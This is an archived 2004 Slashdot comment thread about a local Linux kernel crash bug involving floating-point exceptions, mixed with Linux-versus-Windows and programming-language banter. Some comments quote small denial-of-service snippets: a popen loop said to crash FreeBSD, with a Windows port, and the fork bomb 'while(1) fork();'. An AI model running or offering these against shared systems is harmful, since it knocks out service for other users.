If it would change, the same security hole affected by single viruses would not be present in that many different Windows versions! Sometimes I even ask myself, what did MS change in their products at all!
Re:How is this possible? by Anonymous Coward · 2004-06-14 02:21 · Score: 0

I even ask myself, what did MS change in their products at all! They like to swap some menu items around and change the position of buttons to kill time. "Aw look, 'Cancel' looks so much sexier on the left..."

More respect for Windows crashers by 192939495969798999 · 2004-06-14 01:30 · Score: 1, Funny

This makes me respect Windows-crashing apps a little more (or less, depending on how you look at it),in that people can crash Windows w/o benefit of the source code! It's really amazing.

--
stuff |

Re:More respect for Windows crashers by jcuervo · 2004-06-14 01:54 · Score: 2, Funny

Windows-crashing apps
You mean there are apps that don't crash Windows?!

--
Assume I was drunk when I posted this.
Re:More respect for Windows crashers by julesh · 2004-06-14 02:21 · Score: 1

Hell, you can crash NT without the benefit of a compiler.
Re:More respect for Windows crashers by spitzak · 2004-06-14 06:45 · Score: 1

On a serious note, if you read the article, you will see that the crash was discovered by accident, without looking at the source code. In fact it sounds to me like they still have not figured out what the crash is, the patches appear to be testing to see if the program is trying this exploit and aborting the program if so.

So in fact this bug was discovered in exactly the same way as a Windows bug is discovered. This really is a good demonstration that availablity of the source code probably does not make it any easier for a black-hat to find an exploit, in this case it made no difference at all. Supposedly the OSS advantage is that it will be fixed sooner, let's see. IMHO the exising patches are not a solution. However the existing patches (add an if to get around the bug) are probably the same as what a lot of closed-source distributes as a "fix".
Re:More respect for Windows crashers by jcuervo · 2004-06-14 20:46 · Score: 1

This really is a good demonstration that availablity of the source code probably does not make it any easier for a black-hat to find an exploit, in this case it made no difference at all.
Erm. It certainly does make it easier to find vulnerabilities.

Supposedly the OSS advantage is that it will be fixed sooner, let's see.
The OSS advantage is that you can fix it yourself, if you're so inclined.
IMHO the exising patches are not a solution.
Agreed.

--
Assume I was drunk when I posted this.
Re:More respect for Windows crashers by spitzak · 2004-06-15 05:50 · Score: 1

Erm. It certainly does make it easier to find vulnerabilities.

In this case the availability of source code made no difference in the discovery of the vulnerability. If you read the original report, somebody discovered this by accident, and for several weeks suspected that something was wrong with his gcc compiler, without it occuring to him that if the whole machine crashes he has discovered an exploit. He did not use the source code of Linux or of gcc or even of libc to discover this vulnerability. In fact from the comments, nobody has been able to figure out where the bug is, despite the demo code, which means it is virtually impossible that anybody could have discovered this by examining the Linux source code.
Re:More respect for Windows crashers by jcuervo · 2004-06-15 10:30 · Score: 1

In this case the availability of source code made no difference in the discovery of the vulnerability.
I meant in general. (Beg pardon, I may have misinterpreted the argument.)

I wrote a piece of software once, slapped the GPL on it, and stuck it on SourceForge. Within a month or so, someone had an exploit for it (which was really kind of funny, because nobody was really using it (what's really funny was that it was then picked up from bugtraq by a hell of a lot of other security sites like securiteam -- even for a later advisory that wasn't actually accurate, nor a bug, nor exploitable)).

I'm willing to bet that they a) wouldn't have bothered if it wasn't on SourceForge, and b) if I hadn't released the source, it'd just be a -- whoa, earthquake! I shit you not, we just got hit by an earthquake -- lot harder for them to have figured out some of the bugs.

--
Assume I was drunk when I posted this.
Re:More respect for Windows crashers by spitzak · 2004-06-15 11:29 · Score: 1

What city are you in? Was that a big earthquake?
Re:More respect for Windows crashers by jcuervo · 2004-06-15 11:58 · Score: 1

USGS says 5.2, I'm around Santa Ana...

Looks like it was pretty close. Cool. Shaking lasted a good 8 seconds. Not usually so noteworthy, but this was rather stronger than usual.

--
Assume I was drunk when I posted this.

Re:This is another reason why C should be deprecat by codesurfer · 2004-06-14 01:30 · Score: 1, Insightful

I myself program in a variety of languages, and while each may have it's uses, I'm afraid I can't agree with your assessment. I generally use C++ over C most of the time, but I would certainly stick with C over VB (and yes, I do program in VB as well, when the occasion requires.). Just beacuse a language has an impressive GUI does not make it more valid. In fact, it can often increase the chances that a programmer is churning out code without truly understanding all that it's doing. Just my two cents, of course.

Re:This is another reason why C should be deprecat by Morgahastu · 2004-06-14 01:30 · Score: 1, Insightful

I think this is a joke but with the amount of idiots out there it's hard to be certain.

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 01:31 · Score: 1, Insightful

As I will explain, I feel that C needs to be retired, much the same way that Fortran, Cobol and Perl have been.

I know this is a cut and paste troll, but for best effect use 'PERL' instead of 'Perl' or 'perl', makes you sound even more like you are talking out of your ass.

Thanks!

You have a superb feeling about this level! You sense the presence of monsters!

###### #...@+TTTTTTTTTTTTTTTTTTT #....# ###### You hear a door burst open! You die (more)

Re:Fixed quickly. by immytay · 2004-06-14 01:32 · Score: 3, Interesting

Don't get me wrong, I enjoy Linux, but keep in mind, the article is 3 days old.

Also, how will I be to apply the patch and where is it? Do I have to recompile my kernel?

If this were a Windows bug, it would have been thoroughly exploited, made the news, and I would have already applied the patch by clicking "Windows Update". A bigger deal would have been made of it, but it would have only taken about a minute of my time.

I do prefer Linux, but we need to be open-minded.

2.6.5 not really affected but acting odd by mycroft_rayok · 2004-06-14 01:32 · Score: 3, Interesting

I ran this code on "2.6.5-gentoo-r1 #4 SMP Thu May 27 19:12:27 GMT 2004 i686 Intel(R) Pentium(R) 4 CPU 3.00GHz GenuineIntel GNU/Linux" and although it didn't crash, gnome started acting all odd, and none of the terminals were responsive. They just kept printing out the prompt. Still, I could browse slashdot while the code was running, and could run some applications. Although when I went to open another terminal it opened 6.

Re:2.6.5 not really affected but acting odd by Anonymous Coward · 2004-06-14 06:27 · Score: 1, Funny

gnome started acting all odd, and none of the terminals were responsive. They just kept printing out the prompt.
This is normal behaviour for gnome. Nothing to be concerned about here.

UML? by spacefrog · 2004-06-14 01:32 · Score: 4, Interesting

Very vital question for the UML virtual server leasing cottage industry and the customers of same.

If this were to be run on a UML session, what would happen? Would the damage be limited to that UML session, or would the host machine go down?

Re:UML? by bluelip · 2004-06-14 01:53 · Score: 4, Informative

Talked about on the mailing lists.

http://marc.theaimsgroup.com/?l=linux-kernel&m=1 08 695598318818&w=2

Says session just dies. Host is OK.

--

Yep, I never spell check.
More incorrect spellings can be found he
Re:UML? by sploo22 · 2004-06-14 01:53 · Score: 1

Most likely the UML process would go down with a SIGFPE, but nothing more. The problem only occurs when the process is in a signal handler.

--
Karma: Segmentation fault (tried to dereference a null post)
Re:UML? by rf0 · 2004-06-14 01:59 · Score: 2, Interesting

Intrestingly it appears UML is immune. I've just tested on a varity of systems and you get a floating point exception and thats it...

Rus

--
Cheap UK and US VPS
Re:UML? by julesh · 2004-06-14 02:06 · Score: 1

I haven't tried this, but given the description of the bug found above, I would guess it would take the entire system down.
Re:UML? by b1t+r0t · 2004-06-16 03:23 · Score: 1

That's probably because the bug requires that you be in "Task Switch" mode to trigger it. The FPU works just fine as long as you only use it in user mode.

--

--
"Open source is good." - Steve Jobs
"Open source is evil." - Microsoft

Older gcc-versions also vulnerable by kghougaard · 2004-06-14 01:34 · Score: 3, Informative

FYI... My RH7.3 with gcc 2.96 and a 2.4.20 kernel is also vulnerable.

--
He, who dies with the most toys, wins

Re:Older gcc-versions also vulnerable by bigox · 2004-06-14 04:57 · Score: 1

Any word on gcc 2.95.3 compiled kernels? I can't afford to crash my machine right now.

I think we're forgetting one important thing.... by kalirion · 2004-06-14 01:36 · Score: 5, Funny

How do we blame Micro$oft for this?

Know what else by Anonymous Coward · 2004-06-14 01:36 · Score: 4, Insightful

As for this bug, don't start bashing Linux left and right. Linux isn't perfect, no software is. But unlike when there is a bug in windows a fix is on the way as fast as possible. In fact, there is a patch on the site right now! And for you zealots who say stuff like "No big deal, who is going to do that? No the kind of person you give shell access to." shut up. Admit that Linux is not the perfection in computing.

You know what else makes the kernel crash? At least if you are using 2.6.5 or higher if you enable APIC/APIC-IO and you have an nforce chipset the system will lock up as soon as you do too much I/O.

Re:Know what else by Anonymous Coward · 2004-06-14 02:43 · Score: 0

Download athcool. And disable the Athlon powersaving mode.

http://members.jcom.home.ne.jp/jacobi/linux/file s/ athcool-0.3.6.tar.gz

It should take care of the probem for you.
It's a hardware problem.
Re:Know what else by Pecisk · 2004-06-14 03:34 · Score: 1

I think most persons who works with Linux and even loves that, won't start to play - ohh, it's a just small bumb on the road. Bug is serious, and Linux kernel team will take a look at it and will find correct and final solution for this. And as everyone said, patch is already aviable.

--
user@ubuntubox:~$ stfu This server is going down for shutdown NOW!
Re:Know what else by pclminion · 2004-06-14 03:40 · Score: 1

But unlike when there is a bug in windows a fix is on the way as fast as possible. In fact, there is a patch on the site right now!
The patch is not a fix. It just covers up the problem long enough for a real fix to come out. Don't gloat over this "instant fix," because it isn't. Instant bandaid, more like it.

Re:Open Source Community shows its Value by skaffen42 · 2004-06-14 01:36 · Score: 1

I'm not sure you understand what motivates the average hacker/geek. Chances are this gets fixed by some guy who is simply trying to get his favourite porn site back up!

--
People couldn't type. We realized: Death would eventually take care of this.

Re: My Experience with the Linux by Anonymous Coward · 2004-06-14 01:38 · Score: 0

lol!

I must remember to browse at -1 more often.

This is x86 and x86-64 SPECIFIC by Anonymous Coward · 2004-06-14 01:40 · Score: 0

73 replies, and as far as I can see nobody has yet said it, so I will:

This ONLY crashes Linux on x86 (or x86-64) systems. Every other architecture is unaffected.

Re:This is x86 and x86-64 SPECIFIC by jobsagoodun · 2004-06-14 01:48 · Score: 1

It doesn't crash user mode linux VM's either, just tried it on 2.6.6!

Re:OS bugs are like golf... by rabtech · 2004-06-14 01:40 · Score: 2, Interesting

Well it is Microsoft's fault for saying that IE and such are part of the OS, but Windows has had very few kernel exploits in the most recent few years; it is mostly IE holes and, prior to IIS 6, IIS holes.

This was made worse by the fact that many people run as admin and IIS used to run as LocalSystem on default installs.

However all software has bugs; this incident is neither proof positive or proof negative of any argument re: open source vs closed source.

--
Natural != (nontoxic || beneficial)

Re:OS bugs are like golf... by swordboy · 2004-06-14 01:41 · Score: 1

The good thing about Linux patches is that they are cumulative whereas Windows likes to start over (for the most part) every couple years with a fresh, untested system. Microsoft, with all of their billions, don't even offer hackers an incentive to find bugs in a pre-release version. If they did this, their security and corporate image would be improved.

But they're a monopoly, so what do they care?

--

Life is the leading cause of death in America.

Re:Open Source Community shows its Value by _bug_ · 2004-06-14 01:41 · Score: 1

> Let's just hope they're not browsing for pr0n.

feh. i can do both at the same time.

+ asm volatile("fnclex ; fwap; fwap; fwap;"); \

Re:OS bugs are like golf... by SQLz · 2004-06-14 01:41 · Score: 2, Interesting

Who cares about the Windows kernel when there are about 1000 other ways to gain full unmitigated access over a Windows PC. Outlook Express exploits, MSN Messenger exploits, BlackICE exploits, RPC exploits, IIS exploits, IE exploits. You can even root them in masse without even gaining initial access to the box. This linux exploit allows you to crash the box if you have an account. What moron paying for a shell account is going to do that? Or what type of cracker is going to give himself away simply to crash the box?

This reminds me of a windows bug, by AC-x · 2004-06-14 01:42 · Score: 0, Flamebait

Can you still outright crash NT by sending too many backspaces to the console?

Re:This is another reason why C should be deprecat by Evil+Pete · 2004-06-14 01:43 · Score: 1

It's a pity that there is no moderation like "Funny Troll +1". I'd mod you up man. "Dennis Ritchie is excited about the switch" ... pure brilliance. And VB/Linux ... so obvious when you think about it.

Hmmm. Tempted to cut and paste this into a VB newsgroup ... heh heh. I'm sure there'd be a groundswell of support. [insert evil sarcastic laugh]

--
Bitter and proud of it.

Re:This is another reason why C should be deprecat by DaHat · 2004-06-14 01:44 · Score: 0, Redundant

You think that Fortran, Cobol and Perl have been retired?

By any chance would you or anyone you know have a Citibank credit card? A fact you may not be aware of that most of Citibank's back end is written in Cobol. Federated Insurance is another organization that has plenty of Cobol based systems and when last I checked, neither company has any plan to change it.

Yes, there are newer and possibly 'better' language out there, does that make them better in all such cases? Hell no.

When speaking with a Federated representative she proudly said that their database backend system was completely Cobol based and was faster and more efficient then anything else on the market. It too me a little while to realize that she wasn't saying that it could process a days worth of transactions faster than anything else on the market with newer hardware, the issue was the cost of upgrading.

If you have millions of lines of code in an older language and a database system that has been in place for 20+ years... it's not easy to upgrade no matter the advantages. If you worked for such a large company, it'd be pretty easy to sell something new, but do you want to guarantee a seamless transition from one system to another? Any hiccups along the way will most likely make the transition be regretted.

Same goes for C. Yes, Java and other languages might be able to do a better job, the fact is that huge amounts of legacy code exists and needs to be supported.

Example: Linux. Written in C primarily if I am not mistaken. How should it be fixed? Should it be ported to C++? VB? Java? C#? Such a conversion *may* be possible, however even if it were, the potential benefits to be realized are so inconsequential compared to the cost of doing so to make such an endeavor be wasted.

Visual Basic that lacks such archaic coding styles, one will also note a serious speed increase over C.

I'd suggest you do some research on that point. Raw C/C++ tends to be a hell of a lot faster than VB. Yes, you can often create a front end in VB much faster than you can in C. I would remind you though that in C/C++ you can create far more dynamic and elegant code for your task. In fact, the advantage of C++ over VB I think can be summed up in a single word: Inheritance.

As a programmer who spends about 1/4th of his time working in embedded systems (not the niceties of XP embedded mind you, but micro controllers and other such horrors), I can tell you that VB has no place in such a world.

Hell, I'd love to see an 8051 VB compiler, just to for a laugh.

--
Help Brendan pay off his student loans

Re:This is another reason why C should be deprecat by Tenareth · 2004-06-14 01:44 · Score: 3, Insightful

I guess everybody missed the sarcasm.

--
This sig is the express property of someone.

Uh oh... by Anonymous Coward · 2004-06-14 01:44 · Score: 1, Informative

Beware of patch.

It could be another Linux Kernel 2.4.11

Re:Fixed quickly. by Anonymous Coward · 2004-06-14 01:45 · Score: 0

No it would not of been thoroughly exploited if it was a windows box.

Because..... guess what, this is a multi-user bug. They need to have an account on the machine. If it was windows, they can take root right away, which is much worse then crashing a machine.

This type of problem has never been solved on windows, and probably never will.

Similar windows problem by Bazman · 2004-06-14 01:45 · Score: 0, Flamebait

Does this CSRSS Bug still take down Windows XP boxes?

Baz

Re:Similar windows problem by yeremein · 2004-06-14 02:15 · Score: 3, Interesting

Scroll down to the end of that article:

On 2002-10-29, another third party, who had access to a Windows NT XP system with the first service pack applied, reported to me confirming that on that system it was now impossible to reproduce this bug.

So, it's been fixed in XP SP1. Months after the flaw was reported, and with a woefully incorrect knowledge base article too.

Also, it hasn't been fixed in NT4, and it hasn't officially been fixed in 2000 either, although it seemed to go away after Win2K SP3.
Re:Similar windows problem by ch-chuck · 2004-06-14 02:35 · Score: 1

it hasn't been fixed in NT4

Good, then we still have a way to disable the Swedish Navy

--
try { do() || do_not(); } catch (JediException err) { yoda(err); }

Not all... (read for more info) by Ayanami+Rei · 2004-06-14 01:45 · Score: 2, Informative

The article doesn't attempt to explain anything.

(Someone please correct me if I have this wrong)

After poking around in the LKML, I've mostly figured it out.
The kernel wasn't handling floating point exceptions correctly in the signal handler. The problem is that if the exception is triggered by the LAST instruction in the handler, the exception is attempted to be delivered to a signal context which no longer exists. The same thing was happening with execve... if you triggered it right before the execve syscall, the application context would be destroyed, and the pending exception would be pointing to a non-existant instruction. The exception handler would jump off into space trying to deliver SIGFPE...

So they changed __clear_fpu (which is called when doing a initial switch back to user space [I think]) to clear any pending FPU exceptions, because there was no way they could be handled anyway.

Missing an FPU exception doesn't sound so bad. I think someone was posting a better solution, which would attempt to handle it the right way... (I didn't really follow the more extensive patch, anyone care to explain?)

--
THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON

Re:Not all... (read for more info) by Dunkirk · 2004-06-14 03:16 · Score: 2, Funny

(I didn't really follow the more extensive patch, anyone care to explain?)

No. The proof is left as an exercise to the reader.

--
Acts 17:28, "For in Him we live, and move, and have our being."

Re:OS bugs are like golf... by Anonymous Coward · 2004-06-14 01:45 · Score: 0

Linux has been plauged by local exploits for a long time, but you have to get on the server FIRST. Windows has a lot of exploits that happen _remotely_ and give people control of the machine. More often than not Linux exploits crash a daemon or cause a DOS but do not take down the machine itself. I'm not defending Linux, but the gravity of Windows problems is typically orders of magnatude worse than exploits on Linux. And at least with Linux you can often do damage control because they tell you what the problem is and possible work arounds - windows you wait until MS gives you an update, and possibly will tell you what the problem was that your servers were vulnerable to for the last month or three.

Windows Community by Allen+Zadr · 2004-06-14 01:47 · Score: 4, Interesting

WinDrivers.com - is very much a Windows community site (there are others as well). Most Windows admins I know belong to this site. There are forums there, but there's not so much flame-wars about design (something they have no control over), but there are wars over the best default security settings to leave lUsers with, etc.

It's good reading for anybody interested, however, unlike slashdot, registration is required.

--
Kinetic stupidity has a new brand leader: Allen Zadr.

Re:Windows Community by Anonymous Coward · 2004-06-14 09:56 · Score: 0

Back when I worked as a 'product support slave' I directed hundreds of people to the windrivers site; then, they started charging for stuff that is released for free, and I haven't visited their rip-off site since.
Re:Windows Community by Anonymous Coward · 2004-06-14 10:02 · Score: 0

Yeah, I used to practically live at that site. Back when I worked as a product support slave, I directed hundreds of customers there; but when they started charging people to download drivers that are available for free, I quit using the site; it's a rip-off.
Re:Windows Community by antiMStroll · 2004-06-14 14:14 · Score: 1

"Register Now. A One-year Membership is only $29.95. The One-year membership also includes weekly WinDrivers e-mail newsletter. Or sign up for a 1-day Pass for only $4.95 (does not include the weekly newsletter). Corporate and Institutional Site Licenses Available. Please contact commerce1@jupitermedia.com for details.)"
An inventive and daring use of the word "community".
Re:Windows Community by Allen+Zadr · 2004-06-14 14:46 · Score: 1

As others have posted, it once was a community. Now, yes, it's a little less so, but many people in MS administration have found it usefull enough to expense an account membership even after they closed the gates.
There's still a community there. Just because it's gated, doesn't mean that these users don't share common interests and communicate among one another. Or perhaps you need a dictionary?
One up me, give some other suggestions? What about tek-tips.com? That's free. There's lots of Windows user community there. It's not as "centered", but it is community.

--
Kinetic stupidity has a new brand leader: Allen Zadr.
Re:Windows Community by Anonymous Coward · 2004-06-14 14:59 · Score: 0

" Just because it's gated..."
Damn, I wouldn't have the cajones to use that pun but it is ironically apt.

Re:Hello World ... by Frit+Mock · 2004-06-14 01:47 · Score: 1

noob, l00s0r ... renice this process and everything is ok ;)

well, by zogger · 2004-06-14 01:48 · Score: 1

unless it included a time bomb aspect to it as well? Some RK with the new shiny kernel crash script might wait until such a time as the number of zombies was high enough to get the desired effect maybe. I dunno, sploits are outside my expertise, never had any desire to engage in malicious sport or exploiting for some other profit. Perhaps these dudes might use it in the irc wars or something.

Crashing FreeBSD by mathematician · 2004-06-14 01:51 · Score: 2, Interesting

I year or two ago, this simple program used to do the same for FreeBSD:

#include <stdio.h>
main() {
FILE *f;
while (1) {
f = popen("date","r");
}
}

Re:Crashing FreeBSD by Anonymous Coward · 2004-06-14 02:06 · Score: 0

Didn't faze my NetBSD 2.0 beta system at all. Try it on a more recent FreeBSD system?
Re:Crashing FreeBSD by Anonymous Coward · 2004-06-14 02:21 · Score: 0
I ported that program to Windows XP and ran it in a command prompt. It nearly crashed my system. Fortunately I was prepared with another cmd box open and promptly issued a kill -f crash.exe. I run my command prompts with a startup script that calls doskey so that might have also had a part in it. Error messages included:
- The system cannot execute the specified program.
- Not enough storage is available to process this command.
- The system is out of environment space
- The process tried to write to a nonexistent pipe.
Here's the source, an underscore is all that's needed for popen():

#include <stdio.h> main() { FILE *f; while (1) { f = _popen("date","r"); } }
Re:Crashing FreeBSD by Fizzl · 2004-06-14 03:06 · Score: 1

Hmm, does Linux still go all unresponsive with this?

while(1) fork();

I recall I just wanted to see what would it do on our small schools shell machine sometime back in -95 or so.
The admin was rather pissed at me when I mailed him about the problem after the machine was brought back to life. Well, not really. He just said I should not test such things on production servers, plus quoted a paragraph from a lawbook showing I was already violating some law.

--
Bot Assisted Blogging
Re:Crashing FreeBSD by Anonymous Coward · 2004-06-14 07:49 · Score: 0

If you setup your system to use process quotas or fork rate limiting, that wouldn't be an effective DoS at all. Most distros don't set those up by default, but I'd highly advise using them for any system with shell access (among other precautions).

Re:OS bugs are like golf... by DaHat · 2004-06-14 01:51 · Score: 1

The good thing about Linux patches is that they are cumulative whereas Windows likes to start over (for the most part) every couple years with a fresh, untested system.

WTF? By that logic... when I install a Windows 2000 machine, in order to be completely up to date, I need to install Service Pack 1, then Service Pack 2, next onto Service Pack 3, and then Service Pack 4... and if I have time, DL all of the patches from WindowsUpdate.com, sadly... that'd be wrong.

Microsoft patches and operating systems are cumulative. Whenever XPSP2 is releases, it will provide all XP bug patches up to a certain date along with it's other improvements, including all of those offered in SP1.

Along the way, each bug that is patched in 2k and XP these days is also fixed in Longhorn. This is common practice at MS and has been for years.

--
Help Brendan pay off his student loans

Re:Shell: Ying-Yang of any OS by Anonymous Coward · 2004-06-14 01:52 · Score: 0

(this is illegal in most parts of the world and strongly discouraged)."

I don't understand - which bit is illegal?

Taking down "lame free-shell providers"? OR

Taking down "free-shell providers" in general? OR

Providing free shells?

OT: Bugtraq auto-unsubscribe? by menscher · 2004-06-14 01:54 · Score: 0, Offtopic

This is only slightly off-topic, since it's directly related to finding out about things like this:

Anyone else getting repeatedly unsubscribed from bugtraq and the other securityfocus mailing lists? About once a month I get an email from them claiming my email was bouncing (often because their DNS was sending it to the wrong machine!). And about once a month I don't get the email, and am unsubscribed from a random list. Which really sucks, because it takes a few days to realize, and then you've lost a few days'-worth of important announcements.

I'm just curious whether this is a widespread problem; since I'm fairly certain my connection isn't flaky, the problem must be at their end.

Re:OT: Bugtraq auto-unsubscribe? by Anonymous Coward · 2004-06-14 02:24 · Score: 1, Informative

You are probably refusing "virus-infected" messages.
Re:OT: Bugtraq auto-unsubscribe? by Anonymous Coward · 2004-06-14 02:46 · Score: 0

Yes, that happens to me quite often and I agree that it is annoying.
Re:OT: Bugtraq auto-unsubscribe? by menscher · 2004-06-14 03:38 · Score: 1
You are probably refusing "virus-infected" messages.
Yes, I am, but I am quite certain that is unrelated for the following reasons:
- The problem occurred before I started the filtering
- The problem exists on all of their lists, many of which don't deal with viral code
- They send a final warning before unsubscribing you, saying that if the warning bounces you'll be unsubscribed. Obviously the warning contains no viral code.
- One of the warning messages I received indicated they were sending my email to the wrong host, which implies their DNS was fscked.
Re:OT: Bugtraq auto-unsubscribe? by Anonymous Coward · 2004-06-14 03:43 · Score: 0

nope it's your problem as you are using a Dynamic IP address for your email server on your cable modem.

subscribe from a real email address and it will be fine.

we get this all the time 99.997% of the time It's a cablemodem user trying to run their own domain.
Re:OT: Bugtraq auto-unsubscribe? by Anonymous Coward · 2004-06-14 03:52 · Score: 0

It happens to me all the time with the fedora list. I am receiving it at a university mailing list which I noticed you might be doing as well. I think my school's spam filter is blocking some of it because there is such a high volume of it coming in.
Re:OT: Bugtraq auto-unsubscribe? by Anonymous Coward · 2004-06-14 04:27 · Score: 0

Ok, I'll be sure to tell the netadmins at The University of Illinois at Urbana-Champaign that they don't have a clue about how to manage their three /16 netblocks, and they should upgrade their cable-modem uplink.
Or maybe I'm in that 0.003%? My mommy always told me I was special....

Thousands of people... by officepotato · 2004-06-14 01:54 · Score: 1

Not to critize the open source methodology too much, but I wonder what sort of numbers we're actually talking about here. Any ideas?

2000 people would be in the ballpark of your high school population, or a large concert crowd. That's a lot of kernel hackers.

Re:OS bugs are like golf... by RAMMS+EIN · 2004-06-14 01:54 · Score: 2, Interesting

``Who cares about the Windows kernel when there are about 1000 other ways to gain full unmitigated access over a Windows PC.''

Yes, and who says these aren't present on Linux systems? Do you claim that all Linux distros have been as heavily assaulted as Windows, and kept up? I don't think so, and therefore I don't think we can say anything about the security of a Linux + libs + apps system.

--
Please correct me if I got my facts wrong.

Re:Fixed quickly. by kaiidth · 2004-06-14 01:57 · Score: 5, Interesting

Mind you, at the risk of replying to myself it is worth noting that the patch currently available actually does nothing more meaningful than checking to see if the code that got you there is this exact exploit or not... so I would expect a better patch to be coming out that actually deals with the real problem, which appears to be that some poor munchkin started to write an FPU exception handler somewhere near version 2.3 and got distracted before finishing it. I assume though that the production of such a patch implies working out what the dude actually meant to do, first.

Re:Fixed quickly. by sploo22 · 2004-06-14 01:57 · Score: 1

I just hope it doesn't take too long to get a 2.6 patch out.

--
Karma: Segmentation fault (tried to dereference a null post)

Re: My Experience with the Linux by Anonymous Coward · 2004-06-14 01:58 · Score: 0

...having programmed in VB for the last 8 years doing kernel level programming...

I think you'll need to clarify that for us slashdot folk

Not even Microsoft is stupid enough to do kernels in VB... so what OS uses VB? (and this would be pre-CLR VB...)

Re:This is another reason why C should be deprecat by sd4l · 2004-06-14 01:58 · Score: 1

for best effect use 'PERL' instead of 'Perl' or 'perl', makes you sound even more like you are talking out of your ass

Yeah!!!

I mean with Perl.com typing it as Perl all over the site, not to mention Larry Wall's Very Own Perl Page typing it as Perl, you'll look l33t spelling it as PERL!

For the record, I didn't read it as a troll, but as humour...

--
-- Andy Jeffries Scramdisk for Linux (Change the orgy to org to reply)

Re:Fixed quickly. by Anonymous Coward · 2004-06-14 02:00 · Score: 0

Oops, never mind, didn't read the whole thing ;)

Re:OS bugs are like golf... by Anonymous Coward · 2004-06-14 02:01 · Score: 0

use Base255 (ascii)

NetBSD? by Anonymous Coward · 2004-06-14 02:02 · Score: 1, Insightful

The article mentions "This doesn't affect NetBSD Stable." Why would a Linux Kernel flaw effect any version of *BSD?

Re:NetBSD? by eraser.cpp · 2004-06-14 02:50 · Score: 1

Many linux kernel developers also do work on bsd kernels.

Re:Fixed quickly. by bdeclerc · 2004-06-14 02:02 · Score: 1

Okay, let us start with the beginning:
A) Do you have other users using your system (and I don't mean your hypothetical non-geek girlfriend)
B) Can you trust these users not to run this kind of thing?

If (A) = Yes and (B) = No : If you are, i think you need to learn a bit more about Linux very very urgently, being sysadmin to a "public" server is not something to undertake lightly.

In all other cases : relax, you're unlikely to get hit by this exploit at short notice. If you are running a standard distribution, check for available updates for that distro, if you are running something like Gentoo, compiling a fixed kernel shouldn't be too difficult.

In short : anyone who is truly at direct risk from this should already know enough to react appropriately. This is a *local* exploit, so script-kiddies cannot 0wn your machine using this across the internet, unless they've already broken into the machine. Even if they have, the worst they can do is crash it, they cannot give themselves elevated privileges and do any real damage.

And about the Windows "Update": If this were a Windows issue, it would probably be classed "Like, totally non-critical" and be fixed months later in a fixpack, as no remote exploit or privilege escalation is involved...

Re:This is another reason why C should be deprecat by Decaff · 2004-06-14 02:04 · Score: 1

Obviously PERL is widly popular, but I think many Slashdotters would be surprised at how widely used FORTRAN and COBOL are.

Re:This is another reason ... nice job dude by SlashingComments · 2004-06-14 02:04 · Score: 1

Am i the only one who got this joke ? mod this guy up.

--

- People who believe other people have no right to live, got no right to live ...

Re:Fixed quickly. by petabyte · 2004-06-14 02:05 · Score: 2, Insightful

This bug was posted on slashdot as a comment reply to the Assembly programing article a few days ago. I looked at it then and it locked up my machine nicely.

Aside from that, I don't know that your point is valid. Most linux users either know how to use patch and compile their own kernels, or can run up2date or whatever to download their latest prefab clutter. Also worth pointing out is this bug needs a shell to run the program and crash the system. If you're giving out shells and don't know how to use patch, this is the least of your worries.

The patch is linked from another comment in this thread and yes, you'll have to recompile your kernel. No one has access to my machines here but me so I'm not going to bother updating until 2.6.7 is released. Have a good one.

Re:Fixed quickly. by dema · 2004-06-14 02:05 · Score: 1

Also, how will I be to apply the patch and where is it? Do I have to recompile my kernel?

If you had read the article, you would know that they provide the patches right there for (I think) ever affected kernel.

A bigger deal would have been made of it, but it would have only taken about a minute of my time.

A minute of your time, a few weeks of Microsoft's time.

Wait a sec... by Acrimonious+Coward · 2004-06-14 02:06 · Score: 0

VB and Java faster than C? What compiler were you using?

Re:Wait a sec... by Geoffreyerffoeg · 2004-06-14 15:59 · Score: 1

A compiler for the VB2000 processor. Everything must be written in VB for the processer to interpret it. C must be compiled into VB.

Re:Fixed quickly. by Jason+Hood · 2004-06-14 02:09 · Score: 1

I do prefer Linux, but we need to be open-minded.

That is in part due to the fact that windows is more apt to having security holes that are exploited by automated virii and worms. Those dont necessarily require machine access. You can simply contract them by being on a network with your machine on. Every windows machine will have the same hole. Becoming an administrator appears to be fairly trivial.

Linux is a bit different in that most bugs reported are due user enabled software. If you have a machine that you dont want exploited you just dont enable certain slutty services. Windows enables them by default. Also most processes in linux run as a specific user in chroot jail. Even if they were exploited the exploiter can usually just corrupt data tied to that service. Doesnt mean linux is anymore secure but it would appear that it is a little more contained when broken.

--
Are you intolerant of intolerant people?

OT explanation, mod down by AllUsernamesAreGone · 2004-06-14 02:11 · Score: 1

Some explanation in order - the program doesn't just kill them outright: it has two threshold levels (warn and error, both can be set at runtime) if the student uses over 90% CPU time in 20 seconds it trips an error, over 50% in 20 seconds tripss a warning, for example. When either of those levels is exceeded it is logged and they get a message on their tty (if possible) telling them about it. They are also shown a log of hits when they log in. The students can exceed either level a number of times - say 10 warnings and 5 errors after which it is killed. If students genuinely have to do very intensive processes then they can ask us to add them to an ignore list while they are doing it. I'll probably add options to renice, limit memory and other things eventually, this was a quick hack. The problem wiht ulimit is that it does the limiting but doesn't give the users sensible information about it - I need to give them easy to understand error messages about what they've done wrong.

Re:OT explanation, mod down by 42forty-two42 · 2004-06-14 07:48 · Score: 1

90% CPU usage isn't a problem if no other programs need to use the CPU. It should probably check the load average to see if there really is a problem.

DNFTT by Anonymous Coward · 2004-06-14 02:12 · Score: 0

YHBT. YHL. HAND.

Acutally I was ROTFLMAO when I read the post. I guess some people take longer than others to start their sense of humor on a Monday.

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 02:12 · Score: 0

For the record, I didn't read it as a troll, but as humour...

It was funny, but I've seen variants of this posted several times before (I think it might even have been a KTB[1] original).

[1] I think that same guy was "kiss the blade", "lover's arrival", and "twirlip of the mists".

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 02:13 · Score: 0

the clue flew by, but still sends you greetings, young master. Dig into the history books to find thet FORTRAN and COBOL are properly spelled with all caps (due to case insensitive terminals back then). The next clue will be iver in 30 minutes if you still need to catch a ride.

Re:This is another reason why C should be deprecat by julesh · 2004-06-14 02:14 · Score: 1

I know this is a cut and paste troll, but for best effect use 'PERL' instead of 'Perl' or 'perl', makes you sound even more like you are talking out of your ass.

Huh? The post was clearly a joke, not a troll. And, as the name in question is acronym for Practical Extraction and Report Language I think PERL is a perfectly valid way of writing it, if a little old-fashioned.

